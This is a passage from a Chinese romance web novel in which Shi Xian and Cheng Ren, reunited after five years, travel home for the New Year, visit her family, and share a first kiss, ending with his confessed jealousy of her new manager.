杨帆憋着笑,假装正经地说:“马上要过年了,外面不太平,有人接总是安全些。” 程任看着两人跟唱双簧似的一来一回,把时献说的满脸通红,恨不得把脖子缩到衣领里去,没好气地瞥了眼庄亦,无声地提醒他,差不多得了。 庄亦扯了扯嘴角,看了眼上来的电梯,走了进去,心里忍不住鄙视,男人啊,一旦陷入恋爱都蠢得很,才懒得理他。 到了楼下,四人分开,时献才稍稍觉得空气通畅了些。 程任系上安全带,启动了车,平稳地开了出去,突然问道:“时慕早放寒假了吧?” 时献点头,“她前几天就回去了。” “启外不是放假挺早的?我记得年前半个多月就放假了,她怎么回的这么晚?”程任有些诧异,时献自然地回道:“她做的一对一家教,带的学生马上升高中了,英语底子差,学生家长急得不行,让她寒假多补点,就做到前几天才放假。” “时慕平时也这么做兼职吗?她学校课挺重的,这样会不会耽误?” 时献不以为然地摇摇头,“不会,我只许她做家教,而且也就接了这一个,周末抽空去半天就行,学习和休息的时间平时是能保障的。” 这话说的,什么叫也就接了这一个?时慕现在周一到周五上课,周末用来做家教,虽然不至于辛苦,但总体来说就是没有属于自己完整的个人时间。 那时献呢?时慕现在有她护着,只让她做一份兼职,那时献过去几年读书的时候,到底都做了几份? 程任轻声叹息,想了半天,开口道:“献献,我希望你以后有任何的困难,可以告诉我,以前是我没把你照顾好,现在我找到你了,有什么事就不必一个人去解决,明白吗?” 时献内心咯噔一下,沉默了半响,说我知道了。 时献晚上还要回去收拾东西,只和程任吃了顿简单的晚餐。到了楼下,时献解开安全带,道了声再见就打算上楼,开门的时候却被程任按住了手腕。 时献突然心砰砰快速跳了起来,不明地看着他,“还,还有什么事吗?” “没什么,就是提醒你睡前记得定闹钟,明早七点我在楼下等你。”程任说话的时候手一直没放开,双眼也毫不避讳地对上时献,看得她手腕被按住的那块皮肤渐渐温度高了起来。 “知道了,我,我有生物钟,不会睡过的。” 程任轻笑了声,带着些哄小孩的语气,“没事,不定闹钟也没关系,我明早打电话叫你。” 时献哪里敢真应,连忙拒绝,“不用了不用了,我起得来放心吧,不早了你回去吧,明,明天见。” 话刚落音就挣开程任的手,迅速拉开车门,下车,关门,一溜烟跑进楼。 程任看着这一套行云流水般的动作,觉得这场景似曾相识。 楼道里的爬楼声消失,紧接着发出了“砰”地一下关门声,没一会儿,车内传出低低的笑声。 第二天早上,时献被电话吵醒,在床上滚了一圈,伸手去划接听键。 “喂……”时献有些迷糊的鼻音通过听筒传了过去。 电话那头有短暂的沉默,然后是一道沉重的呼吸声,时献以为打错了,刚想挂断,就听见熟悉的声音在耳边响起。 “醒了吗?早上想吃什么?我买了一起带过来。”程任磁性的嗓音有些不同于平常的低沉,往下压抑着,时献不知道自己为什么听出一丝性感的味道出来了,被自己的想法惊到,立刻就醒了。 “嗯,随,随便。” 电话那头传来低声的笑,有点宠溺,“附近的早餐店没有“随便”卖,要不换一个吧。” 时献从床上坐了起来,抓了一把自己的头发,调整完说:“全麦面包和酸奶就行了。” “好,那你慢慢收拾,时间还早,要是还困的话,再睡会儿也是可以的。” 时献挂了电话,看了下时间,刚到六点,哪里还敢再睡,连忙同手同脚的起床洗漱换衣服。 六点五十分,程任按响门铃,时献穿着拖鞋哒哒哒地跑去开门,脑子一抽忘了自己加了反锁,一下没扭开门锁,还愣愣地望着,门外传来程任的询问,“怎么了?” “哦,没事,我忘了开反锁。”时献连忙解了反锁,成功开了门。 程任今天穿了一件浅米色羊绒大衣,衬得面色温润了许多,不同于平时上班的西装或深色外套,整个人看起来比实际年龄小了几岁,倒让她想起以前程任上大学时候的模样。 “自我保护意识倒是挺强的。”程任看了眼门锁,示意道。 时献侧身让他进门,“图个安全感,毕竟平时只有我们两个女孩子住。” 程任对屋内看了眼,问道:“你同寝室的室友回去了?” 时献点头道:“早回了,她堂姐结婚,请假提前回去了。” 程任听完这才进了门,将手里的袋子放在餐桌上,一份份打开,时献走到一边,看着足够五人吃的份量被拿出来,有些惊到,“你买这么多怎么吃的完啊?” 程任揭开面前的汤包盒放到她面前,示意她坐下,“早上卖的早点还挺多的,就想着多买几样尝尝,反正路上也有几个小时,吃不完带着路上吃。” 时献喝了口豆浆,内心忍不住惊叹了下他在哪里买的豆浆,味道怎么这么好,比她平时喝过的豆浆味道都好,特别醇厚,喝不出白砂糖的味道却又有甜味。时献一边满足地喝着一边看着面前的蟹粉汤包、蒸饺、虾仁烧麦、小米粥、桂花糕,每份都包的很精致,样子十分好看,还热腾腾地冒着热气,旁边还有果切,然后还有个袋子里有东西没拿出来。 程任将袋子推过去,“这里面是你要的全麦面包和酸奶,我买的要是不合胃口你吃这个也行。” 她哪里敢不合胃口,一大早问她要吃什么早餐,临近过年,平时的早餐店肯定关门了,不想折腾他,只有面包和酸奶是最好买到的,小区楼下一般都有卖,方便又快捷。 可谁知道程任不知道从哪里折腾出这么一大堆东西出来,内心被宠溺的喜悦和不习惯的惊慌参半,脑袋晕乎乎的,有点像坐过山车。 两人面对面坐着,各自低头吃早餐,时献更不知道该说什么了,只埋头消灭美食。伸出筷子去夹汤包的时候突然发现放在一边的打包袋上面的logo非常眼熟,是店家特制的打包袋,就是这个图形怎么觉得有点眼熟? 时献将纸袋转了个面,另一边纸面上赫然印着两个飘逸的大字,忘业。 时献的手顿在了半空,程任也顿住了。 所以,他是特地去忘业打包的早餐?时献隐约记得,忘业好像只做中餐和晚餐,程任买来的几样都是菜单里小食类那栏里面的东西,应该没有做早餐售卖才对。 所以,他,他让人家专门做了去取的? 时献有些不可置信地看向程任,只见对面一向稳重的人突然漏了怯,脸颊慢慢爬上一道浅浅的红晕,有些不自然地咳了两声。 “上次看你喜欢吃他们家的东西,快过年了,老板嫌生意不好,最近刚好做……嗯,早餐特供,新开的。” 如果没记错的话,忘业的桌位好像都要提前预定吧?他们家生意会不好? 整个早餐在一种奇怪的氛围中结束,对面那个人脸上的红晕很久都没有褪下去。 此时,距离时献住的小区八公里外的忘业老板,正骂骂咧咧地躺回床上,给惊扰他清梦的人发完信息就恶狠狠地关了机,打算睡个回笼觉。 心潮 返程的拥堵情况比想象中好不少,在启东往外环开的时候堵了会儿,出了启东地界,道路四通八达通向的目的地众多,一路开下来倒也算通畅。 时献最近忙年关的事情,加班加点了近半个月,上车后就开始犯困。她将身体往后靠了靠,寻了个舒适的姿势,程任的车很宽敞,车座设计的很舒适,他开车很稳,一路不紧不慢地,也不说话,就放了点轻音乐,时献原本还想打起精神说会儿话,不成想眼皮跟着节奏一点点盖住了视线,很快,她就睡熟了。 程任偏头看了眼时献,看她抿着嘴,微微嘟着,睡熟的样子显得稚气又可爱,忍不住看了又看。又触见到她眼下一点乌青,可见平时睡眠不太够,忍不住心疼起来,想了想,到底没忍住,趁着前方道路空旷的时候一只手给庄亦发了条信息。 回信很快传来,庄亦冷漠的语气化成了文字躺在手机里,程任看了一眼就没好气地将手机丢在一边。 只见他回道:人都没追到手就指责我虐待自家员工?学弟,你先拿到名分再说吧。 而一旁熟睡的时献对这一切毫无察觉,徒留程任气了一路。 时献中间醒了一次,是被程任叫醒的,两人在中转站吃了点东西又重新上了路。 大约又开了两个小时,终于到了春陵。 程任在时献的指导下进了外婆家的小区,很多年前建成的旧式楼,户型单一,楼间距又近,站在自家窗户里对着对面叫一声应该都可以直接问到中午饭吃什么,物业也基本不太起作用,总体来说,算不上好。 程任帮她把行李箱从后备箱中取了出来,时献要去接,他没松手,反倒让她带路。 时献有些迟疑,程任却问:“你家住几楼?” “三楼。” 他理所当然地点了点头,十分自然地说:“太高了,行李太重,你拿不动,我帮你拿上去。” 时献:???? 三楼太高???? 又看了眼自己的小型差旅箱。 行李太重???? 虽然但是,还是回道:“那好吧,谢谢你了。” 程任推着箱子往前走着,一副非常熟悉的样子,直到一个分叉口,时献忍不住出声提醒:“别往前走了,往左拐。” “哦,好。”走错路的人有些后知后觉的尴尬,连忙转过身,时献刚好走上前想伸手拉他一把,谁知他突然转身,时献撞了个满怀,正要后退,却被程任伸手扶住了后背,从旁边看像搂住了她一样。 其实她并没有要摔倒,只是撞上了程任的胸口,后退一步就行了,实际上连踉跄的地步也没到,但眼下这人,伸出手就没再收回去,时献疑惑地看着他半天不动,有点没完没了的意思。 “姐姐?”突然出现的声音打断了两人的僵持,时慕不知什么时候出现在一旁,此时正一脸惊诧的看着。 “你们怎么在这里?” “不是,他,程任哥怎么会在这里?” 程任松开手,收回了飘出去的思绪,略微笑着说:“我刚好也回家,顺路送她回来。” 时慕微眯起双眼,有些难以置信地问:“你回崇安,顺路来了趟春陵?” 时献咳了一下,连忙打断:“你出去干什么呢?” 时慕对着她晃了晃手里的玻璃瓶,“妈妈让我出去买瓶生抽,知道你今天回来,中午做了红烧鱼。” 说完对着程任说:“程任哥一起上来吃个饭再走吧?都到饭点了,大过年的外面也没什么饭馆开着。” 时献心里突突了一下,又不好否决,于情于理来说,确实得留他吃顿饭,但眼下这情况,见了面她该怎么说? “不了,我还有点事就先走了,今天太仓促了,等过完年,我再上门给叔叔阿姨拜年。” 程任将行李箱推过去递到时献手里,又从后备箱里取出两箱礼盒递给时慕。 “都是些存得住的海鲜干货和点心,味道正宗,过年用来自己吃或者招待客人都行。” 说完也不等时献开口就开车走了。 时慕将快要勒断手的两大礼盒放到地上,甩着手问道:“姐,你们进展这么快的吗?这才重逢多久就要上门了?” 时献伸手拍了下她的脑袋,“别瞎说。”然后就头也不回地拖着箱子往前走。 “哎你帮我拿一盒啊,这里面装了什么啊怎么这么重啊,这又不是给我的哎拜托。” 饭后时献在房里整理东西,张玉淑走了进来,时献叠衣服的手一停顿,又继续动作起来。 “我听小慕说,程任今天开车送你到楼下了?” 意料之中的疑问,时献把头低了低,“嗯。” 张玉淑伸手拿过她手里的衣服,替她挂进衣橱,问道:“到底怎么回事?上次小慕说你两见上了我就一直想问,但电话里怕你不肯讲一直没问,现在人都到楼下了,怎么不让人家上来呢?” 时献莫名有点烦躁,她怎么知道程任为什么不愿意上来,“这么多年没见了,又不是小时候,大过年的回自己家有什么好奇怪的。” 她从地上起身坐到床边,想把带回来的衣服重新叠好,奈何越叠越乱。张玉淑叹了口气,坐了过来,按住她的手,说:“你还喜欢他,是不是?” 时献突然就沉默了,半天没有回答。 张玉淑见状,摸了摸她的头,“我都听小慕说了,虽然几年没见,但现在既然见了,程任那孩子又这样对你,我看也不是不上心的,你要是还喜欢,就别冷着人家,难过的是你自己。” 时献内心一阵慌乱,她有些逃避地说:“妈,你也说我们几年没见了,你不知道,这些年我们都变了很多,他,他和以前很不一样了,现在对我好,大概是因为对当年感到愧疚,我不能占着弥补的情分奢求别的,人心太贪婪了,我要是太当真,万一……” 她不敢说出口,万一会错了意思,或者混淆了弥补和喜欢,五年前她还可以从头开始,五年后她要怎么办? 两人相谈不欢,张玉淑看她满面愁绪也不忍再说下去,轻轻带上房门,留给她空间收拾心情。 时献稀里糊涂的收拾完东西觉得有些疲惫,痛快的睡了个足足的午觉,临近下午四点才醒来。 手机有微信提示音,时献打开聊天框,程任发来信息。 【睡醒了吗?】 时献一脸懵,他怎么知道自己在午睡? 【刚醒,你到家了吗?】 时慕推门进来,手里端着一杯水递给她,时献接过来,示意她关上房门,指了指自己的手机,说:“是你告诉他的?” 时慕探过身子看了一眼对话框,满不在意地眨眨眼,“就上次找你的那次,他来我们学校找我问你的情况,然后就加了个微信。” 程任微信又回过来。 【刚到家,我妈今天做了你最爱吃的糖醋排骨,居然还给我留了一份,特别难得。】后面居然还配了个哭的表情。 时献扫了眼时间,发现他回去路上又开了三个多小时,想到他从早上一直开到现在没停过,忍不住有点心疼,但时慕的话让她突然想起点什么事没问,就没有立刻回。 “我一直忘了问你,原先他也不知道苏少钦就是你的老师,是怎么突然找上的你?” 时慕听到苏少钦的名字眼神飘忽了一下,时献没太注意到,她说:“就你那次不是在校门口差点撞车吗,那天我们系一个苏少钦的迷妹,本来是花痴苏少钦的,拿手机拍他视频,谁知道你看他上了车就突然跟着车跑,还追到差点撞车,她以为你在纠缠苏少钦,气得要死,校园群里一通乱发,我这才觉得奇怪,跑去找苏少钦问情况了。” 手里的手机振动了一下,时献没去看。 “苏少钦自己都不知道有人在追车,我就问他车里的人是谁,他说是程任,然后就……” “当天晚上,我从图书馆回来,刚到宿舍楼下就看到苏少钦带着程任在楼下等我,然后后面他应该就去找你了,大概就是这样。” 时献听完,咕咚咕咚喝完了水,内心乱的很,她很想让自己不要过分关注程任的态度,但很可惜,她好像做不到。 时慕接过她手里攥紧的水杯,忍不住说:“姐姐,其实,我觉得程任哥还是挺在乎你的,那天晚上他站在我楼下那个样子,我从来没见过,看到我的那一瞬间好像看到了什么天大的希望一样,半天都说不出话来,眼睛都红了。” 手机又振动了一下,时献划开屏幕解锁,两条信息映入眼帘,看得她差点将手机丢出去。 【你初六回启东?到时候过来接你。】 【我初六上午到,顺便过来给叔叔阿姨拜个年。】 涌动 时献整个春节都带着一股焦躁,这种情绪倒不是那种遇到烦心事的烦躁,而是有点像自己做了坏事要被抓包的那种慌张,总之她也解释不好。 时慕倒是幸灾乐祸,在一旁看着,时不时调侃两句,说她看起来像早恋马上就被家长抓包的不良少女,而且还是早恋对象自己抖出来的那种,气的她更焦躁了,连过年红包都没给时慕发。 不管她怎么想,正月初六这天终于还是来了。 时献一大早就躺在床上翻来覆去,早上六点半,程任就告诉她自己出发了,她看完信息就更睡不着了,一个机灵爬起来收拾床铺,洗漱换衣,拾掇自己。 时中伟一大早就去菜市场买回了菜,吃完早饭就和张玉淑两人在厨房忙活了起来。 时慕从客厅飘过,看了眼厨房,不禁感叹,果然是丈母娘看女婿,越看越顺眼呐,这还没见面呢,就热乎成这样。回头等到自己带人回来,不知道是不是也这么热情。 等下,时慕拍了拍自己的脑袋,她到底为什么在想这些乱七八糟的?她是不是有病? 时献被打趣了一个春节,好不容易逮到一个机会怼回去,“拍一下今年智商降20。” 时慕忍住想翻白眼的冲动:“姐你知不知道自己有时候真的好幼稚。” 时献冷笑一声,“不知道。” 上午十点,程任按响了门铃,时献认命般地走过去开了门。 程任穿了件卡其色的大衣站在门口,里面是米白色的绒毛卫衣,还带着连帽搭在后面,手里提着一堆东西,一脸温柔地冲她笑着,时献被这笑狠狠地晃了眼,内心有点奇怪。 他不上班的时候,平时私下的衣服为什么都这么显嫩?三十岁的人了嫩得跟朵葱花似的合理吗? 时献刚和他打完招呼就被热情的时中伟和张玉淑挤到了一边。 “程任来了啊,哎呀快点进来进来,人来就好带这么多东西干什么。” “好多年没见了,看起来比以前更帅了,人也沉稳了。” ………… 时献眼看着张玉淑拉着他不停地唠家常,外婆就更过分了,拽着程任的手半天舍不得放开,看了一遍又一遍。 时献都替他吃不消,可程任倒好,应付自如,一通话说下来漂亮又真诚,把张玉淑和外婆哄的面色发红,开心得像中了彩票头奖。 时慕一脸吃不消地捅了捅时献,凑到她耳边说:“你看妈妈那样,像不像认回了失散多年的亲儿子。” “还有外婆,哇那手是粘上了502了吧,还抓着呢。” “也就老爸稍微冷静了点,不过也没好到哪儿去,你看,在厨房做饭还唱歌呢。” 时献忍不住白了她一眼,“你别说了,就你话多。” 时慕把手放到嘴边,做了个拉拉链的动作,从左往右划了一下,乖巧地闭口不言。 张玉淑和程任足足聊了一个小时才稍稍停下来,还是被时中伟叫吃饭给打断的,张玉淑抱歉地说自己太久没见一时聊得兴奋,让程任别见怪,程任笑得一脸坦诚,直言自己很想张姨,聊的很开心。 那模样,看得时慕都有点害怕,她以后可不想这样的场面发生在自己身上。 一顿热络的午饭结束,程任又陪着时中伟喝了会儿茶,两人聊了几句,就起身要带着时献出发了。 初六是返程高峰段,时间不能拖太晚,张玉淑也没多留,装了袋水果洗好让两人带着路上吃。 车开出小区,上了主干道,突然陷入两人的安静中,落差显得格外大,时献觉得这气氛有些奇怪,想打破安静,在脑中找了一圈话题也没想好到底该说些什么才好。 想了半天,瞥到旁边放着的果切袋,连忙打开,将洗干净的水果递了过去。 “吃点水果吧,我妈都弄干净了。” 程任看了眼她手里的草莓,双手在方向盘上用食指敲了敲,无奈地说:“可是我没手啊,怎么办?” 时献愣住,程任又看了眼她手里红彤彤的草莓,笑着说:“张姨这草莓买的真好看,肯定很甜。” 时献鬼使神差般地,拿出了一颗形状漂亮的草莓,递到他嘴边。程任略一低头,张口咬了过去,不知道是有意还是无意,唇瓣还堪堪擦过了时献的指腹,带着干燥的、暖暖的温度。 时献感觉自己的手指都要烧起来了,脸腾地一下就红了起来。 怕被看到,连忙正回坐姿,随手抓了一颗草莓塞到自己嘴里,低头吃了起来。 “嗯,很甜。”程任满意地点点头,有些意犹未尽地说道。 剩下的草莓当然不可能再继续吃,她总不能只顾着自己吃,而且如果自己每吃一个都要喂程任一次,那她的脸估计要一路红到启东不可。 关键程任可能是故意的,看她合起了水果盒还问了句,不吃了吗? 时献摇头放到一边,喝起了水,“中午吃太饱了,现在不饿。” 程任“哦”了一声,没再说其他,然后轻轻笑了一下。 时献很不争气的,对号入座的,刚褪下去的脸就又红了。 正休息着,时慕发来微信,【程任哥在给妈妈的礼盒里放了个红包,里面有一万块钱。】 时献瞬间睁大双眼,又看了遍信息,转头看向程任,面色有些凝重。 “怎么了?出什么事了?”程任见她面色不对,连忙问道。 时献语气有些发急,“你为什么要在礼品盒放红包?” 程任听到这事神色轻松了些,解释说:“没什么,太久没见叔叔阿姨,作为晚辈上门拜访,给个红包不是应该的吗?” 时献立刻摇头:“可是你已经带了拜访的礼物了,我爸妈和外婆都有份,连时慕都有,礼节很够,根本不需要给这么大的红包。” 程任没想到她会这么介意,说:“我不是个会买礼物的人,这么长时间没见,也不知道买什么合他们的喜好,红包只是我作为晚辈的一点心意,你要是觉得多,我们五年没见了,献献,你拆成五年,还觉得我给的多吗?” 怎么能这么算?时献张口还想反驳。 程任的语气突然软了下来,有些无奈地叹了口气,说:“献献,我们中间隔了五年,我总想着多做点事,好快一点填满这五年的空隙,要是做的让你不高兴了,你别生气,好吗?你要是不愿意,下次我就不这样了。” 时献的话被堵在中间,突然就不知道该怎么说了。 两人又沉默了会儿,直到程任的电话响起,打破了静止的现状。 “喂,妈。” “嗯,对,她在我身边呢,接上了。” “你要和她说话?好,我问一下。” 程任问她:“我妈打电话来,想和你说话,要不要接?” 和程任重逢后,因为一切发生的太仓促,她都没和任清芸联系上,时献连忙点头,将电话接了过来,“喂,清,清姨。” 听筒那边熟悉的声音突然就传了过来,时献听到任清芸叫了自己一声就开始哽咽,想到过往的那些年,眼眶忍不住红了起来。 有眼泪一滴滴掉在了衣服上,打湿了一大片,时献和任清芸就这样抱着电话半天都没有说话,无声哭了很久。 程任将车停在路边,抽了张纸巾递过去,时献接过来随意地在脸上糊了几下,平复了会儿心情,重新和任清芸说话。 “清姨,我是献献。” 电话那头的人也努力在平复情绪,“嗯,我知道,程任他找到你了。” 时献也不管她看不到,拼命在这边点头,嗓音有些沙哑,“对,他找到我了,清姨,我,我好想你。” 说完眼泪又簌簌地往下掉,任清芸也在那边哭的不成样子,程立万在一旁将她拥在怀里,两个人这样根本没办法正常通话。 程任将手机拿过来,说现在不太合适,哪天见面说就挂断了。 手机放到一边,看着坐在一旁哭得不成样子的时献,程任内心揪得发疼,又抽了张纸,这次没有递过去,直接解了安全带,欺身靠过去,一手掰过来她的脸,一手拿着纸巾轻轻擦她的泪痕。 时献正陷在情绪里无法自拔,猛地看到程任的脸在面前放大,一时被刺激到忘记反应,呆呆地看着他一动不动,眼睛里水汪汪的,任由程任擦了又擦。 “别哭了,眼睛都哭红了。”程任低声哄着。 时献也不想当他的面这么失控,可任清芸的声音像戳中了她内心的柔软点一样,一瞬间开了阀就收不回来,她也想停,可是不知道为什么停不下来,程任一边擦,她的眼泪就像断了线的珠子一般不停地落下来。 程任有些手足无措,他没什么哄人的经验,当下捧着时献的脸,看她白皙的小脸因为难过哭到泛红,已经十分心疼,连声哄了两句不仅没见好反而哭得更加厉害,他慌了。 眼里都是时献委屈的模样,睫毛被泪水浸润的十分潮湿,眼尾还发着红,他看着时献波光粼粼的双眸,突然将自己的唇凑了过去,轻轻的印在了她的眼角。 干燥的嘴角带着温度,停在了敏感的位置,时献的睫毛狠狠地颤抖了几下,一滴眼泪掉了下来,砸在了程任的手背上,有些发烫。 身体现在靠的很近,程任衣服上带着好闻的浅浅的木质香,时献被这突如其来的变化惊到忘了一切,脑中一片空白,只剩一个声音在提醒。 程任在亲她。 4. 醋意 程任蜻蜓点水一般的吻并没有持续太久,他先于时献反应过来了。 松开了捧着她脸的手之后,车内陷入了寂静,是完全寂静的那种,两个人连呼吸声都几乎消了音。 时献的脸因为惊吓一片乍白,反而是程任,有了些后知后觉的羞赧,在座位上缓了好久才重新平复了心情启动了车。 返程的路上,两个人没再说一句话。 回到启东后两人很快就各自投入到忙碌的工作中去,来不及回想那天的尴尬,程任没有再约时献,只是保持着联系,很默契的,没有人再提起那天的事,就这样忙过了一周。 时献捏了捏有些酸痛的后颈,伏案太久,疲惫感凸显,想起手头还有工作要完成,起身去茶水间给自己冲了杯咖啡。 “你知道吗,听说何晨涛自动离职了。”李晴枫在一旁倒热水的时候小声地跟她八卦。 “这么快?”时献稍微有点讶异,知道他肯定有问题,但到底是年前才出的事,紧接着就过年了,前后也不过才半个多月,虽说是自动离职,但看样子十有八九是人事那边给的体面说法,时献看了眼庄亦的办公室,感叹他做事到底是雷厉风行。 李晴枫手捧热水,往她这边靠了靠,“谁说不是呢,这下B组经理空缺,本来大家都以为会是赵飞池升上去,毕竟他资历最老,做事也算稳妥,可我听说啊,不是他。” 时献有些不解地想着,不是赵飞池她倒不奇怪,虽然说他是B组资历最老的,来东峻多年没出过什么纰漏,但为人保守过甚,不是很灵气,做事太过板正,对于内审来说,甚至板正到有些过了头,作为B组负责人来说,他并不能胜任。何况庄亦这个人用人向来只讲究合适,资历对他来说并不是最重要的,反观B组内部,一时倒真挑不出什么能挑大梁的人物出来,何况出了何晨涛这件事,不可能只有他一个人有问题,B组肯定还有人要被换掉。 那么新上任的B组经理,就变得尤为重要了。 李晴枫看她一脸困顿,知道她不清楚这些小道消息,一心解释道:“我跟你说,我听说啊,这次要空降,有人前两天看到庄总带着一个人进他办公室谈事去了,两个人看起来关系挺熟的,这下赵飞池可傻眼了,谁知道山中无老虎,偏偏来了头狮子,他这只猴子盼了这么多年也没法占山为王。” 时献看到有人往茶水间这边走,连忙岔开话题,指着李晴枫的水杯问:“泡着红糖水呢?你还疼吗?” 李晴枫被她一提醒才想起来自己还在生理期,皱着眉一只手捂着自己的小腹,“你不说我都忘了,唉这红糖水喝了也没什么用啊,我还是去座位上休息一下吧,站不住了,虚得很。” 时献看着她一边走一边揉着肚子,无奈地笑着摇摇头。 她端起咖啡杯喝了一口才发现早已经冷了,正打算重新冲一杯,突然发现有个眼生的人朝自己走来,生着一副冷白皮,时献想了想自己的肤色,觉得他可能比自己的牛奶白还要再亮一点。再仔细看了看,发现他不是非常夺目的那种长相,但是整体看起来清爽又干净,还有一点……漂亮? 来人自然地过来打招呼,开口说话的声音十分好听。 “你好,我想找一下你们庄总。”说完还冲她笑了笑,时献内心倒吸一口气,嚯,一个男人为什么可以笑得这么……娇俏十足却不一点都不娘?居然还,还挺好看的,她一个女生都要自愧不如了。 时献连忙收回自己乱七八糟的想法,礼貌地说:“请问您有预约吗?如果有预约,我带您去见杨助理。” 对方摇摇头说:“就是前天说好今天下午五点左右来公司找他的,说我叫叶桥星就行了。” 时献偏头就看到杨帆走了过来,“杨助理,这位叶先生找庄总。” 谁知道,平时文质彬彬,十分绅士的杨帆冲时献点了下头,只用余光瞟了一眼叶桥星就走了。而被忽视的本人,居然丝毫不生气,只是对着杨帆的背影无奈地笑了笑。 时献觉得哪里有点怪,这是怎么一回事? “你们俩站这看什么呢?”庄亦突然从一旁经过,叶桥星见状跟着庄亦一起朝办公室走去,庄亦刚迈几步突然回头,冲时献说:“你也一起来。” 时献一头雾水,放下手中的咖啡,进了办公室。 庄亦脱了外套,坐下说:“你们互相认识一下,这位是叶桥星,浔南区域的内审经理,刚刚调上来的,下周一正式上任B组内审部经理。” “时献,启大毕业,在A组连着实习前后做了一年多,以后就是你的副手了。” 嗯?时献一个抬头,看向庄亦。 “叶桥星是我年前就定好的,只是当时还在保密中,就没提前跟你说。”说完略带不满地看着叶桥星,“你浔南那边不是都交接好了吗,你家又不在这边,做什么要等到下周一才肯上班?” 叶桥星往后靠了靠,笑着说:“老板,我又不是卖给你了,我有生活的,而且最近这几天我也没闲着啊,都在酒店看资料呢,你这一大摊子的事哪儿那么容易理清楚啊,好不容易找到点头绪,马上元宵节了,我得休假,我不要谈恋爱的啊。” 正说着,敲门声响起,杨帆推门而入,端过来两杯茶水。清香的茶香很快就蔓延开,时献低头闻了闻,喝了一口,味道清甜爽口,十分舒适。 杨帆给时献端茶的时候脸上还挂着笑意,等转到叶桥星这边的时候就几乎用下巴在看他了,直接越过叶桥星要接过来的手,放在了桌子上,帅气地转身出了门。 庄亦饶有兴致地看着叶桥星,他却毫不在意,喝了口茶,刚入口,眉毛就揪成一团,过了会儿,用一种十分艰难的表情咽了下去,然后再也不碰那杯茶水。 “怎么了,我助理新泡的茶不合你心意?”庄亦眼中含笑,一脸看戏的模样打趣道。 叶桥星挑了挑眉,满不在乎道:“怎么会,小杨助理就是给我端杯毒药我也心甘情愿的喝下去啊。” 庄亦指了指面前还满盛的水杯,“那怎么不喝了?凉了就不好了,浪费人家一片心意。” 叶桥星突然清了清嗓子,“哪舍得喝完,小杨助理泡得这么辛苦,得留着慢慢尝。” 庄亦一副恶寒的表情,懒得再搭理他。 时献在一旁看完了全程,她好像,明白了点什么。 三人又聊了会儿工作,过了六点,庄亦就招呼一起去吃顿饭,当是提前给叶桥星接风。 四个人一同上了车,叶桥星十分绅士地替时献开了门,体贴地护着她的头看她坐了进去,然后,拉开副驾驶的座位,十分自然地坐在了杨帆旁边。 这座位安排的自然没什么毛病,但鉴于叶桥星过于主动的掌控行为,带着那么点假公济私的意味,于是时献在前方的后视镜里看到了杨帆的白眼。 道路越开越熟悉,半个小时后,果然,杨帆将车稳当地停在了“忘业”门口。 时献刚下车就看见一辆熟悉的奔驰,内心咯噔了一下,这辆车她坐了好几次,当然知道主人是谁。 “嗨,回神,发什么呆呢你?”叶桥星伸出手在她眼前摆了摆。“你喜欢这车啊?” 时献连忙摇头,“没什么,随便看看。” 庄亦顺着时献的眼神看过去,也看到了那辆熟悉的车,忍不住在内心冷笑一声,看来春天是真的来了,这一个个的。 四人进了包间,叶桥星主动点菜,问了问时献的口味,于是果断的直接下了单,过了会儿几道菜上桌,时献认真观察了一下,他们四人口味都不太一样,但叶桥星看似随意的选菜,其实兼顾了每个人的喜好。 难怪庄亦这么看重他,非要大老远从浔南调过来不可。 席间还是庄亦和叶桥星说话居多,确切的说,是叶桥星为主,有他在的场合下既不会过分热闹也不会让人冷下来。时献在一旁听着,先是听他们聊行情,聊发展,后来又转到过往趣事上面去了,才知道原来两人早就认识了,是旧相识,当初还是庄亦把他从铭丰给挖过来的,但挖过来后并没有直接重用,而是流放到了不是业务重心的浔南,足足两年,才给调回总部。 想想这人的处事和做派,如今庄亦让她给叶桥星当助理,其实也有提拔和间接升职的意思,他能力出众,但这两年远离东峻总部,内部情况还不甚清楚,时献大三就开始在东峻实习,平时虽然和B组不算多熟,但总有工作上的各种交集,一些人员上的勾稽关系她还是清楚的。也许,她可以好好辅助叶桥星尽快熟悉这边的情况,自己也能在叶桥星的影响下有更大的进益。 四人在轻松的氛围中用完了餐,杨帆起身去结完账,就直接准备散场了。 程任刚和客户道了别就看到他们四人朝停车场这边走来,他微微眯起眼,面上的神色不太愉快,因为此时叶桥星正和时献挨得很近,两人有说有笑的,仿佛十分熟稔。 这人又是哪里冒出来的? 庄亦先看到了程任,见他黑着一张脸差点想笑出来,忍了忍,还是上前问道:“程总,你也过来吃饭?” 程任冲他点头,“刚散场,庄总这是带着员工聚餐来了?”说话却是看着叶桥星。 庄亦看了眼叶桥星,笑着说:“新员工入职,欢迎一下,以后要一起合作的,促进一下感情对工作也好。” “哦,是吗,庄总想的倒是很周道,时献能有这样的老板是她的幸运。”程任皮笑肉不笑地说着。 叶桥星听着两人的话中话,看了看时献和程任之间微妙的气氛,又看向程任投向自己带着敌意的目光,心里转了一圈,就猜了个大概。 这事儿倒是有趣了。 叶桥星想到一整个晚上都没怎么和他说话的杨帆,心里起了点私念。他伸手虚搭在时献的后背上,侧脸对着时献说:“小时,那以后就请你多多照顾啦,今天认识你很开心。”说完还冲她露出十分灿烂的微笑,连弧度都把握的很好,眼尾微微上扬,他知道自己怎么笑最骚气勾人。 时献愣在原地,她看到程任的脸瞬间就阴沉了下来,下一秒,不待她开口,就听见杨帆说:“老大,没什么事的话我先下班了,老大明天见。”庄亦点了点头,他就立刻转身大步走了。 叶桥星立刻就放了手,转身追了上去,“哎,等等我啊,小帆帆……” 庄亦无奈地摇摇头,自己开车走了。 场面一下子就变成只剩程任和时献两人。 只见程任走近,语气带着不快,“他是什么人?” 时献被问懵,顿了一下回道:“哦,你说的是叶桥星吧,他是我们公司新来的审计经理,今天来入职,我以后就是他助理了,所以一起吃饭。” 程任的眉毛依旧皱着,似乎对这个答案不满意,“第一天见面就叫的这么亲密?” 时献突然被他认真的模样惹笑,想到叶桥星刚刚一时兴起故意叫自己“小时”,无奈地说:“你不会告诉我,你看不出来,他和杨助理是一对吧?” 程任被问到词穷,其实从刚刚叶桥星追上去的时候就反应过来了,但他还是有点不爽,一想到刚刚叶桥星对着时献笑的那个样子,手还搭在她背上,心里就忍不住一阵烦躁。 “我就是不喜欢他那样看你。”程任突然说道,时献听的一愣。 他又往前走了一步,伸出一只手摸了摸时献的头,拇指指腹在她柔软的头发上轻轻揉了揉。 “你发现没有?” 时献一脸不明,发现什么? 时献听到他似乎叹了口气,有些委屈。 “我好像在吃醋,献献。” 